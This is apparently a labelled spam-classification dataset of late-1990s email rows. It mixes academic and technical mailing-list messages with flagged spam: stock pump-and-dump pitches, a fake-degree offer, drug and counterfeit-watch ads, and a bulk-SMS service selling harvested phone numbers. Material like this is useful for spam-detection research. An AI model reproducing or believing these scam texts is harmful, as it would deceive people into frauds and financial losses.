University > > 9:30 Michel DROUIN, Centre National de la Recherche Scientifique (France): Alfred Dreyfus observ� par ses gardiens /Alfred Dreyfus Observed by His Guards > > 10:00 Eric CAHM, Universit� de Tours (France): Le Proc�s Zola (f�vrier 1898) dans la presse nationale et internationale /The Zola Trial (February 1898) in the National and International Press > > 10:30 Break/Pause-caf� > > II President : Allan SILVER, Columbia University > > 11:00 Jean-Max GUIEU, Georgetown University : Les Caricatures dreyfusardes et anti-dreyfusardes /The Pro-and Anti-Dreyfus Caricatures > > 11:30 General Discussion/Discussion g�n�rale > > > > > AFTERNOON SESSION > > > Raison d'Etat et Anti-s�mitisme/""Raison d'Etat"" and Antisemitism > > I President : Gita MAY, Columbia University > > 2:00 Madeleine REBERIOUX, Universit� de Paris-VIII (France) : La Raison d'Etat/The ""Raison d'Etat"" > > 2:30 Pierre BIRNBAUM, Universit� de Paris-I (France) : Les Mobilisations anti-s�mites en France en 1898/Anti-semitic Mobilizations in France in 1898 > > 3:00 General Discussion/Discussion g�n�rale > > 3:30 Break/Pause-caf� > > II President : Mark ANDERSON, Columbia University > > 4:00 Uri EIZENZWEIG, Rutgers University : L'Ignorance des origines : entre l'Affaire et la naissance du sionisme/Ignoring the Origins : between the Affair and the Birth of Zionism > > 4:30 Sylv�re LOTRINGER, Columbia University : ""Le Salut par les Juifs"". De Bloy � C�line/""Salvation through the Jews"". From Bloy to C�line > > 5:00 General Discussion/Discussion g�n�rale > > 5:30 Lorraine BEITLER, The Beitler Foundation (Edgewater, N.J.) : An Alfred Dreyfus Collection in the United States/Une collection Alfred Dreyfus aux Etats-Unis. > Attribution of the Zola Price > > SATURDAY, FEBRUARY 14 MORNING SESSION > > Les ""intellectuels"" dans l'Affaire/The ""Intellectuals"" and the Affair > > I President : Dominique JULLIEN, Columbia University > > 9:30 Antoine COMPAGNON, Columbia University : Philos�mites antidreyfusards : les lib�raux et l'Affaire/Anti-Dreyfus Philos�mites : The Liberals and the Affair. > > 10:00 Willa Z.SILVERMAN, Pennsylviana State University : The Role of the Anti-Dreyfus Women (Gyp, the Duchess of Uz�s, the Countess of Loynes, etc) / Le R�le des antidreyfusardes (Gyp, la duchesse d'Uz�s, la comtesse de Loynes, etc) > > 10:30 Break/Pause-caf� > > II President : Isser WOLOCH, Columbia University > > 11:00 Jeffrey MEHLMAN, Boston University : P�guy and the Affair/ P�guy et l'Affaire > > 11:30 Jean-Yves MOLLIER, Universit� de Versailles-St-Quentin-en-Yvelines (France) : Les Contre-Zola/The Anti-Zola > > 12:00 General Discussion/Discussion g�n�rale > > > AFTERNOON SESSION > > Repr�sentations de l'Affaire au XXe si�cle/Repr�sentations of the Affair in the 20th Century > > I President : Ali ALALOU, Columbia University > > 2:30 Norman KLEEBLATT The Jewish Museum, New York : Alfred Dreyfus's Body : The Site for France's Displaced Anxieties about Masculinity, Homosexuality and Power/Le Corps d'Alfred Dreyfus : le site des anxi�t�s fran�aises ( masculinit�, homosexualit� e t > pouvoir) > > 3:00 David SCHALK, Vassar College : Between the ""fin de si�cle"" et the ""Belle Epoque"" : The Intellectuals in their world/ Entre la fin de si�cle et la Belle Epoque : Les intellectuels dans leur monde > > 3:30 General Discussion/Discussion g�n�rale > > Break/Pause-caf� > > > II President : Tom BISHOP, New York University > > 4:00 Sander L.GILMAN, University of Chicago : Kafka's Dreyfus, or beyond The Dreyfus Affair/Le Dreyfus de Kafka, ou au-del� de l'Affaire Dreyfus > > 4:30 Wolfgang ASHOLT, University of Osnabr�ck (Germany) : L'Affaire dans la dramaturgie au XXe si�cle/The Affair in 20th Century Dramaturgie > > 5:00 General Discussion/Discussion g�n�rale > > 5:30 Round Table, headed by Steven MARCUS, Columbia University : The Dreyfus Affair in the United States/ L'Affaire Dreyfus aux Etats-Unis (Micha�l BURNS, Mount Holyoke College ; Susan DAITCH, Victoria de GRAZIA, Columbia University, Serge DOUBROVSKY, N > ew York University). > > SUNDAY, FEBRUARY 15 MORNING SESSION > > > L'Affaire Dreyfus et les cultures politiques/The Dreyfus Affair and the Political Cultures > > I President : Jeannine PLOTTEL, City University of New York > > 9:30 Alain PAGES, University of Reims (France) : L'Eveil des intellectuels/The Awakening of the Intellectuals > > 10:00 ZEEV STERNHELL, The Hebrew University, Jerusalem (Israel) : Dreyfusisme et anti-dreyfusisme : l'Affaire, prototype de l'affrontement continu de deux cultures politiques antagonistes, de la fin du XIXe si�cle jusqu'� Vichy/The Pro-and Anti-Dreyf us > : the Affair, A Prototype of Continuous Confrontation between two Antagonistic Political Cultures, from the End of the 19th Century to Vichy > > 10:30 General Discussion/Discussion g�n�rale > > Break/Pause-caf� > > II President : Maryse CONDE, Columbia University > > 11:15 Jean-Yves MOLLIER : Concluding remarks/Bilan du colloque > > 11:45 Louis HENKIN, University Professor, Columbia University Law School : Closing Address/Allocution de cl�ture > > 12:15 Henri MITTERAND : Remerciements/Acknowledgments > > > > ___________________________________________________________________________ > > Free access to colloquium. > Lectures and discussions in English and French. > We would be grateful to you to register in advance. > > > > REGISTRATION FORM Friday, Feb.13, lunch at the Faculty House : $ 30.00 : Yes----/NO--- > > Name : > Make your check to : French Dept. -Address : and mail to : Colette Fossez > French Dept., Columbia University > 1150 Amsterdam Avenue > New York, NY 10027 > > > Space is limited for the Friday lunch. Your check must be received by February 3, 1998, > For information call : 212 854-2500 or fax : 212 854-5863 > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ----------------- > Sam W. Bloom > swb5@columbia.edu > ----------------- > > > -- Kimberley Jonquil Healey",0,1 khealey@sas.upenn.edu,frenchgrads@ccat.sas.upenn.edu,"Mon, 08 Dec 1997 13:57:34 -0500",Call for Papers-ENDINGS,"WRE. Gallois wrote: >From balzac-l@CC.UMontreal.CA Fri Nov 21 18:55 EST 1997 Date: Fri, 21 Nov 1997 18:53:51 -0500 Message-Id: <199711211147.LAA11097@mail.bris.ac.uk> Errors-To: balzac-l-request@CC.UMontreal.CA Reply-To: balzac-l@CC.UMontreal.CA Originator: balzac-l@cc.umontreal.ca Sender: balzac-l@CC.UMontreal.CA Precedence: bulk From: ""WRE. Gallois"" To: Multiple recipients of list Subject: Call for Papers X-Listprocessor-Version: 6.0c -- ListProcessor by Anastasios Kotsikonas X-Comment: BALZAC-L Une liste pour le domaine des litteratures francophones. Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Mailer: ELM [version 2.4 PL21] Content-Type: text/plain; charset=US-ASCII Content-Length: 866 Call for Papers ENDINGS? The Universities of Bristol and Exeter will host a two-day postgraduate conference to be held at Bristol University, 7-8 July 1998. Papers are invited from all areas of French Studies. Topics suggested include: discourse and closure, the End of History, narrative endings, fictional deaths, teleologies, and the art of death. This list is not exclusive, and it is hoped that the conference will engage in a variety of ways with the specifically Francophone development of cultural atitudes to the notion of ending. Selected papers will be published. Please send abstracts of 400 words (papers will last approximately 20 minutes) with name, affiliation, postal and e-mail addresses by 15 February 1998 to: ENDINGS? Conference Department of French 19 Woodland Road Bristol BS2 8TE Any enquiries to William Gallois at W.Gallois@bris.ac.uk -- Kimberley Jonquil Healey",0,0 Rosemary Arnoux ,Multiple recipients of list ,"Wed, 10 Dec 1997 22:38:03 -0500",AULLA Call for papers,"AULLA XXX 1999 AUSTRALASIAN UNIVERSITIES LANGUAGE & LITERATURE ASSOCIATION The University of Auckland 30th Congress Monday 8-Thursday 11 February 1999 CALL FOR PAPERS Closing date Friday 21 August 1998 THE LENGTHS BEHIND? Fir'd at first Sight with what the Muse imparts, In fearless Youth we tempt the Heights of Arts, While from the bounded Level of Our Mind, Short Views wo take, nor see the Lengths behind, But more advanc'd behold with strange Surprize, New distant Scenes of endless Science rise! Alexander Pope 'Essay on Criticism' Paper offers should be addressed to: Barry Williams Congress Administrator Centre for Continuing Education Phone: ext 8903 Fax: 64 9 373 7419 (Internal 5419) Email: b.williams@auckland.ac.nz CONFERENCE WEBSITE http://www.cce.auckland.ac.nz/aulla ****************************** Rosemary Arnoux French Department University of Auckland Private Bag 92019 Auckland New Zealand Tel: 64 9 3737599 ext 7122 Fax: 64 9 3737 483 Email: r.arnoux@auckland.ac.nz ****************************** ",0,1 Corrado Priami ,THEORYNT@LISTSERV.NODAK.EDU,"Tue, 16 Dec 1997 01:49:30 -0800",PAPM '98 CfP,"I apologise if you receive multiple copies of this msg. Corrado Priami *********************************************************************** The University of Verona, Facolta` di Scienze MM.FF.NN., promotes (Preliminary) Call for Papers PAPM'98 Sixth International Workshop on PROCESS ALGEBRA AND PERFORMANCE MODELLING in conjunction with CONCUR'98 Nice, (11)-12 September http://www.arena.sci.univr.it/~priami/papm98 ************************************************************************ The workshop, promoted by the University of Verona, exploits the relationship between qualitative (functional, behavioural) and quantitative (performance, reliability) analysis of systems via process algebras. The amount of details to be considered when designing and developing complex systems makes the above analyses difficult and error-prone. The use of process algebras like CCS, CSP, pi-calculus for qualitative analysis is well-established. Their stochastic extensions (SPA) for quantitative analysis is a growing field as shown by the five previous editions of this workshop. The goal of PAPM is to bring together researchers in the field of process algebra and performance evaluation to find useful and uniform integrated environments for designing and developing complex (distributed) systems. ******** Topics * include, but are not limited to ******** -Process algebra extensions for quantitative analysis (stochastic, probabilistic, temporal); -Other formal models of quantitative analysis and their relations to SPA; -Quantitative analysis of mobile systems; -Case studies; -Tools supporting quantitative analysis based on process algebra. **************** Paper submission. * Authors are invited to submit papers by April 20 to: **************** Corrado Priami PAPM'98 Chairman Tel. +39 (0)45 809 8985 Istituto Policattedra, Universita' di Verona Fax +39 (0)45 809 8982 Ca' Vignal 2, Strada Le Grazie 1, priami@sci.univr.it I-37134 Verona (Italia) Electronic submission of postscript files (A4 format) is strongly encouraged. For hard copy submissions send 6 copies of the paper. Papers must not exceed 15 pages. The cover page must include name, affiliation, postal address, telephone and e_mail of authors. An abstract of the paper is requested as well. ****************** Important dates. * ****************** Submission: 15 May Notification of acceptance: 15 June Camera-Ready version: 10 July ************** Proceedings. * We are currently negotiating the publication with publishers. ************** ******************** Program Committee. * ******************** Gianfranco Balbo (Univ. Torino, I) Ed Brinksma (Univ. Twente, NL) Rob van Glabbeek (Univ. Stanford, USA) Ulrich Herzog (Univ. Erlangen, D) Krisna Kavi (Univ. Alabama in Huntsville, USA) Corrado Priami, chair (Univ. Verona, I) *********************** Organizing Committee. * Ruggero Ferro and Corrado Priami (Univ. Verona, I) *********************** ********************* Steering Committee. * ********************* Ed Brinksma (Univ. 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You must have at least ONE output available, so, this pretty much eliminates a L293 or, if you are bold enough, obtain additional outputs using a '138 as outlined in the HandyBoard FAQ. A SIPO you might use is the 8 bit 74164. Hook the DATA IN on the SIPO to the MOSI pin on the SPI. Hook the SPI's CLK output to the SIPO's clock pin. Use a transparent latch to update and hold the data on the outputs of the SIPO and update it with the one output pin, perhaps a 74373. To update the new 8 bits of data appearing at your latch's output, you load the SPI's data register with the byte value that you want to have across your new outputs. This data will be shifted out during the next 8 E-clock cycles. After the SPI's data register is empty indicating that the SIPO has the output byte on it's parallel outputs, pulse the single control output to update the latch's outputs. With this arrangement, you could, in theory, have many, many SIPO shift register/Latch pairs; the Serial Data In of the next stage connected to the last Parallel Output on the previous adjacent stage. One would just have to make sure that you coordinated the number of stages with the number of bytes outshifted by the SPI data register (naturally). The downside to this arrangement is the time it takes to update a digital output. The entire train (8 bits, 16 bits, 24 bits... more?) Need to be loaded and shifted out to change just ONE output. The upside is, the data will shift at 2 Mhz, which makes for a (250 ns * [8+2] ) 2.5 ms update time. Not suitable for time critical applications, (PWM, Communication) but not bad for bulk outputs. I don't think I have explained my little circuit here very well.. perhaps an ASCII graphic? Output originally going to an L293D +---------------------------------------+ |Or added via a '138 from the | |expansion buss. | | +--+----+ +----+---------+ +---------+ | LE | | | SPI CLK |'164 PO0|----| '373 |---- | +-----------+ CP PO1|----| |---- | 68HC11 | SPI MOSI | PO2|----| |---- | +-----------+ Data PO3|----| |---- New | | | PO4|----| |---- Digital +--------------+ | PO5|----| |---- Outputs | PO6|----| |---- | PO7|----| |---- +---------+ +-------+ Where: PO# is a ""Parallel Output"" on a SIPO Data is the ""Serial Data Input"" on a SIPO CP is the SIPO's clock -d Win95/NT - 32 bit extensions and a graphical shell for a 16 bit patch to an 8 bit operating system originally coded for a 4 bit microprocessor, written by a 2 bit company that can't stand 1 bit of competition. -UGU",0,0 Lesley Damon ,mailarch+pine-info@groupms.cac.washington.edu,"Wed, 31 Dec 1997 11:47:52 -0500",It will blow away body fat,"! hologram it's benefice may handstand it's cauliflower ! donor ",1,0 SANDY SIMPLER ,Pine Discussion Forum ,"Thu, 01 Jan 1998 11:17:03 -0500",Please Help ME!,"I am VERY computer illertiate! I have AT&T Worldnet Service. I can't open my attachments because I don't know how! I am hoping you will be able to help me! Thank- You Beth ",0,0 Fred G Martin ,handyboard@media.mit.edu,"Thu, 01 Jan 1998 09:41:01 -0500",Re: Digital outputs.,"Thanks David for a nice explanation of how to add I/O using shift registers. Let us not all forget that the HB does have two uncommitted digital output ASIDE from the four SPI pins: PA7 (a bidirectional pin which is marked as digital input #9) and PA5 (a timer output pin which is marked as TO3 on the expansion header). It would seem silly to disconnect a motor driver signal when these two signals are available. Fred ",0,0 Wieslawa Cline ,mailarch+pine-info@groupms.cac.washington.edu,"Thu, 01 Jan 1998 03:22:13 -0700",Re: your VtAGoRA,"Hi L P V C X V A e r I I a A m v o A A n L b i z G L a I i t a R I x U e ra c A S M n http://www.holiperti.com After a while Gollum began to hiss with pleasure to himself: Is it nice, my preciousss? Is it juicy? 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The key is, knowing when to get on and when to get off a stock, for successful day trading. CWTD has distinct patterns to watch for. Yesterday CWTD volume spiked again 53%. Today we got word that there will be more exciting news early next week. We are still hovering at $1.98, up 48 cents since this climb began. Take advantage of the current price on Monday, we expect to see it begin climbing Monday and Tuesday in anticipation of the coming news that stirred the market last week. This ride is not over. Jump on now and ride the price up on the highest return ""Day Trade"" we have featured this year. Get on CWTD first thing Monday morning. ",1,0 Ben Jen 01 ,Pine Discussion Forum ,"Thu, 01 Jan 1998 19:06:51 -0500",binhex 4.0,"I recieved mail stating it must be converted using binhex 4.0. I am not fimular with conversions. Found your address using yahoo!. Can you help me. We have a Japanees student staying with us. This letter is from her father. Would like to convert before she leaves for home Sunday. Thanx. ",0,0 """Murray, Marshall"" ",mailarch+pine-info@groupms.cac.washington.edu,"Thu, 01 Jan 1998 12:31:32 -0500",Auto Response,"Here are the questions that you enquired about our University-Degree-Program. Question: Are these degrees valid? Answer: Our online degrees are from valid online Universities, which are reregistered with the National Board of Education. Question: Why does it only take 1-2 weeks to obtain a degree with transcripts? Answer: Our qualification department interviews all applicants and determines if they qualify for any of our ""Work Experience"" degrees. Question: What types of degrees are offered? Answer: Bachelors, Master's, MBA, or PhD based on your present knowledge and life experience Question: What University will honor me with a valid degree? Answer: Our firm is a brokerage and we work for over 200 Universities. We find the best school that offers the degree of your choice. I hope this has helped answer any of your questions. If you have anymore questions then give us a call: Area Code: 206 Phone: 984-1705 Marshall Murray Human Resources Petersburgh-University-Brokerage ",1,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 02 Jan 1998 01:53:05 +0100",Re: binhex 4.0,"> ""BJ0"" == Ben Jen 01 writes: BJ0> I recieved mail stating it must be converted using binhex 4.0. BJ0> I am not fimular with conversions. Found your address using BJ0> yahoo!. Check this instead: And while being at yahoo!, you should have browsed the software corner, because that's where the converters are. BJ0> Can you help me. No. You didn't state what operating system you're using and if you've ever installed a program from the net. BJ0> We have a Japanees student staying with us. This letter is from BJ0> her father. Would like to convert before she leaves for home BJ0> Sunday. Send more details, then we might be able to help. Note also that this is the wrong forum for your question. Robin -- Robin S. Socha Political Science Dept., Bonn University There comes a time when you put your lives Into the hands of the gods",0,1 Mauricio ,Perzivel ,"Fri, 02 Jan 1998 05:34:56 +0800",Think I found it,"Mauricio wanted to me to shoot you an email about the store I went to purchase my goods www.andwhatisthankforwas.org/xvr/ where it was at, have was where event, heard then it . Mauricio ",1,0 Twila Durham ,mailarch+pine-info@groupms.cac.washington.edu,"Thu, 01 Jan 1998 21:10:49 -0540",re: 0f Sara 's unit r0b reviewed the news 's news 's investment 's market ,"Why MGMX should be on your radar screen now! GOLD= way over $600 an ounce and some analysts predict gold will go way higher. Glamis Gold, once as low as $2.68 a share, now $42. Agnico Eagle, a $5 stock in 2001, now $40. Royal Gold, trading at $2.60 just five years ago, now fetching $34 a share. These are the mining companies that Wall Street “wouldn’t touch with a ten-foot pole.” MGM Mineral Resources Completes Acquisition of La Esperanza Mine in Colombia's Highest Yielding Gold Zone As announced, the company has acquired La Esperanza Mine, appointed a world renowned Lead Geologist, and is working to close acquisitions of other promising mining properties in Colombia. The company is finalizing the results of internal geological studies of La Esperanza and is extremely pleased with what it has seen so far. These accomplishments should prove to be beneficial for our shareholders and for the future growth of MGM Mineral Resources. (Partial clip of recent news, make sure you read all recent news releases) Watch this company like a hawk starting now. GOLD has been HOT HOT HOT IUS Information within this report contains forward looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21B of the SEC Act of 1934. Statements that involve discussions with respect to projections of future events are not statements of historical fact and may be forward looking statements. Don't rely on them to make a decision. The Company is not a reporting company registered under the Exchange Act of 1934. We have received eight million free trading shares from a third party not an officer, director or affiliate shareholder. We intend to sell all our shares now, which could cause the stock to go down, resulting in losses for you. This company has a nominal cash position . Read the Company's Annual Report and Information Statement if one is available before you invest. This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. ",1,0 Edward M Greshko ,Pine Discussion Forum ,"Fri, 02 Jan 1998 13:04:13 +0800",Re: Please Help ME!,"On Thu, 1 Jan 1998, SANDY SIMPLER wrote: > I am VERY computer illertiate! I have AT&T Worldnet Service. I can't > open my attachments because I don't know how! I am hoping you will be > able to help me! Thank- You Are you using ""pine"" as your email program? From what I can see....it seems ""not"". Regards, Ed -- Edward M. Greshko Technical Manager, Electronic Commerce Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 klabis@aztec.asu.edu,Pine Discussion Forum ,"Thu, 01 Jan 1998 22:46:19 -0700",Re: this is a recording (last changed May 23 1996)//cqcqcq!,"Friends: I am curious to know if Pine or Pico editing software will work in a Lynx page, or maybe in a Unix server. I am using a Macintosh LC at 6.0.8 with a Supra* 144LC modem at home with generally perfect emulation, at least off prime time, in AzTeC's ""Chet's Editor"" right now. I also have an account <125790.ef.smc.maricopa.edu> which is functional access to IRC, but currently disabled for unknown reason to send e-mail in. System administrators at SMC are re- luctant to say anything about their WWW connection, and AzTeC Computing apparently assumes most of the local load. My home screen comes from straight Kermit ""Q"" turnaround with 512 bit packages, and the Supra with no Netscape. The school (SMC) LAN consists of an assortment of Wyse terminals and CompacQ Pentium 386s. Any advise and/or software you could give on upgrades for text applications to this system would be most appreciated; SMC SysAdmin are and AT . yt, Scott A. Klabis, student SMC/SMCC / FCC:PG-GB-021435, , , <125790@ef.smc.maricopa.edu>. US West (602) 252-1951 / AzCom 306-0531.",0,0 Alisha Beaird ,mailarch+pine-info@groupms.cac.washington.edu,"Thu, 01 Jan 1998 23:43:55 -0500",recover back your lost youth,"be surgery may bedspread it terra in into try baron ",1,0 German Schmitt ,handyboard@media.mit.edu,"Fri, 02 Jan 1998 06:47:39 -0420",Re:,"CWTD Has Wild 10 days as Stock climbs from $1.60 to highs of $2.82 China World Trade Corp CWTD Last: $1.98 The last ten days has been a sky rocket for CWTD with 5 major headlines stirring interest that brought huge returns for investors. Read Below... Apr 28, 2006 China World Trade Corporation Launches Professional Conference Management Services (PRN) Apr 25, 2006 BellwetherReport.com Small-Cap Outlook for CWTD, EBOF, ERHE & SIKY (MRW) Apr 25, 2006 Tuesday, April 25th Stock Trading Alert (MRW) Apr 25, 2006 QualityStocks, a Fast Growing Investment Newsletter Service, Gains 1,000 New Subscribers (PMZ) Apr 24, 2006 China World Trade Corporation Experiences Increased Travel Sales in Foshan Following Inclusion in Guangdong Telecom 114 Directory Service (PRN) for the full details read from any stock reporting site. The key is, knowing when to get on and when to get off a stock, for successful day trading. CWTD has distinct patterns to watch for. Yesterday CWTD volume spiked again 53%. Today we got word that there will be more exciting news early next week. We are still hovering at $1.98, up 48 cents since this climb began. Take advantage of the current price on Monday, we expect to see it begin climbing Monday and Tuesday in anticipation of the coming news that stirred the market last week. This ride is not over. Jump on now and ride the price up on the highest return ""Day Trade"" we have featured this year. Get on CWTD first thing Monday morning. ",1,0 Carlito Chamlee ,handyboard@media.mit.edu,"Fri, 02 Jan 1998 01:07:57 -0700",Re: AMxBtEN news,"Hi, P L C V X V A r e I A a I m o v A L n A b z i L I a G i a t I U x R e c ra S M A n http://www.onoorls.com eight, nine, ten, eleven; where are Fili and Kili? Here they are, twelve, thirteen-and heres Mr. Baggins: fourteen! Well, well! it might be worse, and then again it might be a good deal better. No ponies, and no food, and no knowing quite where we are, and hordes of angry goblins just behind! On we go! On they went. Gandalf was quite right: they began to hear goblin noises and horrible cries far behind in the ",1,1 David L Miller ,Pine Discussion Forum ,"Fri, 02 Jan 1998 10:23:02 -0800",Re: Mac version of pine??,"How about MachTen? It's a commercial Unix clone for the Mac, but there is a Pine port available for it... -- David L. Miller | If toast always lands butter-side Software Engineer, Pine Development Team | down, and cats always land on Box 354841, University of Washington | their feet, what happen if you 4545 15th Ave NE, Seattle WA 98105, USA | strap toast on the back of a cat Phone: (206)685-6240 FAX: (206)685-4045 | and drop it? -- Steven Wright On Wed, 31 Dec 1997, Justin Dews wrote: > Good point, and I've thought of that, but this is an older mac and none of > the versions of NetBSD will run on it. And MkLinux and Linux for PMac > won't run because this machine isn't a pmac. ;-) > Oh well... > > Thanks, > > Justin > > On Wed, 31 Dec 1997, Drachen wrote: > > > > > Well, you could put linux on your mac :) > > > > > > On Tue, 30 Dec 1997, Justin Dews wrote: > > > > > First, I'd like to say that I am a new member of this list.OK, ok, I know > > > that on the pine webpages and stuff, they say that there is > > > no mac version of pine yet, but I'd really like to know if anyone is > > > working on a port of it to the Mac. I'm tired of using Eudora and then > > > getting on my shell and using pine. I want to use something simple yet > > > powerful on my mac also. > > > > > > Thanks, > > > > > > Justin > > > > > > > > > > > > >",0,0 Olive Middleton ,Violet ,,Re: ..," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. 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She is using Bitcom (DOS platform) to connect and access PINE.Everithing works swimmingly,except for in ""Compose"" all the lines of the header behave in a peculiar way. Let's say I want to type ""blob"" in the ""To"" headerline.When I type ""b"",nothing happens.Then I type ""l"",four characters appear,left arrow, left square bracket,the ""at""character then the letter b.When Typing the next letter (o),similarly four characters appear,the three special ones then ""l"".that is,the letter I previosly typed. When I manipulate the line,for example with the Ctrl-Ll (refresh line), or with the Ctrl-K then Ctrl-U commands (cut then uncut text) everything reverts to normal,""blob"" appears in the ""To"" line. Same with the other header entries. The body of the email itself causes no problems itself,it works perfectly normally. I repeat :THE HEADER AND THE BODY WORK DIFFERENTLY. Now,I've tried every reasonable configuration modifications in both PINE and Bitcom with no avail.The fault itself(even if peculiar) is not a great one for a sighted person,but she being blind and using screen vocalizing program (by the way the screen program is not the cause) the garbled text really confuses her. If anyone has a suggestion,please drop me an email. Cheers from Melbourne, Kal deeka@rvib2.rvib.org.a ",0,0 """C. Wible"" ",Pine Discussion Forum ,"Fri, 02 Jan 1998 20:08:23 -0500",Lock files in /var/spool/mail,"I recently upgraded to pine 3.95. Shortly after I realized that pine was complaining about creating lock files. I read some web listings of questions about this problem and found that the only suggestion was to change the permissions on the /var/spool/mail directory. That is all good, but, I dont like the idea of users being able to write files to that directory. I was wondering if sometime in the furure pine might include an option to specify a seperate lock directory. Cullin ",0,0 Claude W Gossett ,Pine Discussion Forum ,"Fri, 02 Jan 1998 20:53:57 -0600",How to answer Planet All?,"Sirss: I have signed on to Planet All and have received messages which I am unable to answer as requested. One of the requests is to place an x in a box which identifies specific requests regarding services offered. What might I do to enable me to perform the operation? Your assistance will be appreciated. Thank you for your assistance: Claude Gossett ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sat, 03 Jan 1998 04:34:44 +0100",Re: How to answer Planet All?,">> ""CWG"" == Claude W Gossett writes: CWG> I have signed on to Planet All and have received messages which CWG> I am unable to answer as requested. One of the requests is to CWG> place an x in a box which identifies specific requests regarding CWG> services offered. What might I do to enable me to perform the CWG> operation? Write to Planet All? Thy certainly have a customer support. Robin -- Robin S. Socha Political Science Dept., Bonn University Microsoft isn't the answer. Microsoft is the question, and the answer is NO.",0,0 Y M Kung Charles ,Pine Discussion Forum ,"Sat, 03 Jan 1998 12:46:15 +0800",Re: Lock files in /var/spool/mail," Hi Cullin, I think you can set the sticky bit of your spool, my spool have the bit set. Charles On Fri, 2 Jan 1998, C. Wible wrote: > I recently upgraded to pine 3.95. Shortly after I realized that pine > was complaining about creating lock files. I read some web listings of > questions about this problem and found that the only suggestion was to > change the permissions on the /var/spool/mail directory. That is all > good, but, I dont like the idea of users being able to write files to > that directory. I was wondering if sometime in the furure pine might > include an option to specify a seperate lock directory. > > Cullin > > ",0,0 Lacy Frances ,mailarch+pine-info@groupms.cac.washington.edu,"Fri, 02 Jan 1998 23:03:17 -0500",down-down your weight,"on arsenic some asceticism some brooke and blithe a grantee ",1,0 Leta ,'Jacob' ,"Sat, 03 Jan 1998 06:49:26 +0100",stop Premature Ejaculation ," Hi friend: We have quality product to help you Enjoy better sex life. All products come with 100% money back guarantee http://62.193.225.122/sm/ Increase your sperm vol by 500% guaranteed... http://62.193.225.122/ps/ Add 3inchs to your penis size or we refund ... http://62.193.225.122/et/ New formula enjoy sex longer... dunkirkg7890hjfdefshsajksa ",1,1 Germán Gentile ,"'Handyboard Mailing List' , Lista de Motorola- 6811 ","Sat, 03 Jan 1998 12:01:37 -0300",Touch memory From Dallas...,"I have searching info about the touch memory from dallas. I need to know in which way that connect to a microcontroller and wich is the protocol used. Someone now somethingh abou that??? Thanks in advance.... ",0,0 freesms ,mailarch+pine-info@groupms.cac.washington.edu,"Sat, 03 Jan 1998 19:53:30 +0800",�� ҵ �� �� �� �� չ �� �� �� �� �� �� Ч �� ��,"主题: 代发商业短信,帮你推广产品 上海市澳门路519号021-51075531 13341720245 13651992381张小姐 顾先生 代发商业短信,帮你推广产品 号码来源 三年来跟踪300个知名商务网站，网罗近150万只上海地区活跃的中小企业老板、经理、高级管理人员、商务人员等拥有真正消费能力者正在使用的手机号码。 阿里巴巴商务网站：上海有关中小企业7-8万家，手机号码约10万条。 慧聪商情：行业分类中上海中小型企业，手机号码约15万。 金桥供求信息网：上海地区需求--销售公告牌，手机号码10万。 Google、百度、中国搜索联盟……上海地区手机号码约5万只。 中国机电网、礼品网、中国五金网、中国化工网、中国纺织网、上海黄页、联通黄页… 从2005年开始将扫描范围扩大到800个商务网站，500个商务论坛，信息来源更广泛及时。 每天增加新搜索到的号码约1500个，每三个月数据库彻底更新一次，删除重复和停用手机号。 专人采集各大报刊杂志的商业信息，跟踪平面媒体上出现的商务人员手机信息。 专人采集各地区工商注册企业法人手机信息。 短信报价 起始数(万条) 单价(元) 总价(元) 时效 备注   1 0.078   780.00 7日内发完8：00―20：00 内容共70个字 (含标点和空格)索要发票加收5%   5 0.060  3000.00  10 0.055  5500.00  30 0.045 13500.00 一个月内发完 100 0.035 35000.00 案例展示 楼盘开盘通知 钻石领地，商圈坐标，××楼盘，9月8日开盘，详见新民晚报9月6-8日各版。021-12345678；87654321(100万条) 开发区招商北仑开发区上海招商洽谈会,8月10日下午2:00,上海xx宾馆梅花厅,欢迎光临.咨询021-12345678详情:www.xxxx.com(15万条) 注册公司1800元全包.代办外资独资合资在沪代表处，优惠美国-英国-香港-德国公司注册.协办经营性商务网站.021-12345678(30万条) 食品销售上海xxx月饼,环线内5合以上免费送.(票或实物均可),20盒以内均享受原价2%优惠,月饼票只限上海地区领取.详见www.xxxxx.com(150万条) 旅游行业专营桐庐-富春江，2天2星宾馆4个景点298元.送天然江水泳场,千万带好泳具.提前1天报名.上海xx汽车旅行社021-12345678(30万条) 航空票务上海-北京每天24班,22:00以后最低到480.深圳长期低价,提前3个小时机场碰头送票.上海xx票务公司021-12345678(35万条) 律师 法务 调查行业短信实例律师提醒:房屋交易陷阱多,法律意识要加强.综合3年房产案件经验,为你房产交易保驾护航.上海xx律师事务所021-12345678(30万条) 体检通知生意再忙,事务再多,身体第一.十一长假去体检!上海xx医疗中心全套体检,3小时,只要333元.对身体有信信,对事业有信心.12347865(5万条) 友情提醒 每条短信标准字数(包含标点和空格)为70个字，超过则自动拆分为两条计费。 短信广告的撰写应该短小明了，业务突出。 不发送任何非法的、骚扰性、中伤他人的、辱骂性的、恐吓性的、伤害性的、挑衅的、庸俗的、淫秽等。 不发送任何教唆他人构成犯罪的信息。不发送涉及安全、国家机密的信息。 上海市澳门路519号021-51075531 13341720245 13651992381张小姐 顾先生",1,0 Mark Crispin ,Pine Discussion Forum ,"Sat, 03 Jan 1998 13:14:26 -0800",Re: Lock files in /var/spool/mail,"On Fri, 2 Jan 1998, C. Wible wrote: > I recently upgraded to pine 3.95. Shortly after I realized that pine > was complaining about creating lock files. I read some web listings of > questions about this problem and found that the only suggestion was to > change the permissions on the /var/spool/mail directory. That is all > good, but, I dont like the idea of users being able to write files to > that directory. I was wondering if sometime in the furure pine might > include an option to specify a seperate lock directory. That wouldn't be very useful. The whole purpose of the /var/spool/mail lock file is to lock against mail delivery. The mail delivery program looks for a /var/spool/mail lock file. If Pine used a different lock directory, then it wouldn't lock against mail delivery. Then wouldn't be any point for the locking code at all. You might as well just delete the useless locking code, and accept that every so often, your mail file will be smashed because Pine and mail delivery wrote the mail file at the same time. If 